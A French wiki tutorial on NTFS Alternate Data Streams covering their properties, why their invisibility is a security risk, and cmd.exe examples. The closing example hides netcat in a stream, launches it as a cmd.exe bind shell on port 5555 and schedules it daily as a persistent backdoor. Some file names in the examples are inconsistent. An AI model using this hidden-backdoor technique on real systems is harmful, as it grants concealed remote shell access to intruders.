Les flux ADS (Alternate Data Streams)

De SeRoM - Wiki
Aller à : navigation, rechercher


Introduction

Le système de fichiers NTFS, utilisé par Microsoft a une fonctionnalité qui est peu documentée et inconnue de beaucoup de développeurs, administrateurs. Cette fonctionnalité se nomme Alternate Data Streams et permet à des données comme du texte, des graphiques ou du code exécutable d'être stockées dans des fichiers cachés. Ces derniers sont liés à un fichier visible normal.

L'utilité principale de ces flux etaient de permettre le support du système de fichiers Macintosh Hierarchical File System (HFS) et ainsi de permettre à un système de type Windows NT d'être serveur de fichiers pour des clients Macintosh.


Propriétées de ces flux

  • Les flux ne sont visibles que par des logiciels spécialisés.
  • Les flux ne s'attachent pas seulement aux fichiers, ils s'attachent également aux répertoires.
  • Il peut y avoir plusieurs flux attachés à un même fichier.
  • Un flux ne peut être effacé. Le fichier avec lequel il est attaché doit être effacé pour que le flux soit enlevé.
  • Un flux attaché à un répertoire racine, par exemple "c::MonStream" ne peut être effacé.
  • "L'espace disque disponible" affiché par un programme comme Windows Explorer ne prend pas en compte l'espace disque consommé par les flux.
  • Un programme peut écrire dans un flux (et remplir le disque dur d'un utilisateur.)
  • Les flux peuvent être executés.
  • Les flux qui s'exécutent n'ont pas leur nom correctement affiché dans le Gestionnaire des tâches.


Le risque

Le principal risque au niveau de la sécurité est que les ADS sont complètement cachés. Ceci offre une possibilité pour des trojan, virus, backdoor ou deni de service.


En pratique

tous d'abort on creer un fichier (ouvrir une commande (cmd.exe))

echo Fichier test > testAds.txt

et ensuite on y attache un flux :

echo Ceci est un ADS > testAds.txt:MonStream.txt

Le flux NTFS peut être affiché en tapant:

notepad hsc.txt:MonStream

Exemple pour créer un Alternate Data Stream exécutable:

c:\type c:\winnt\notepad.exe > hsc.txt:NotepadCache.exe
c:\type c:\hsc\hack.exe > hsc.txt:hack.exe

Exemple avec netcat:

c:\> type c:\winnt\system32\nc.exe > c:\tmp\log.txt:backup.exe
c:\> start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe 
c:\> at \\127.0.0.1 14:30 /every:M,T,W,Th,F,S,Su start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe

la commande at lancera netcat tous les jour a 14h30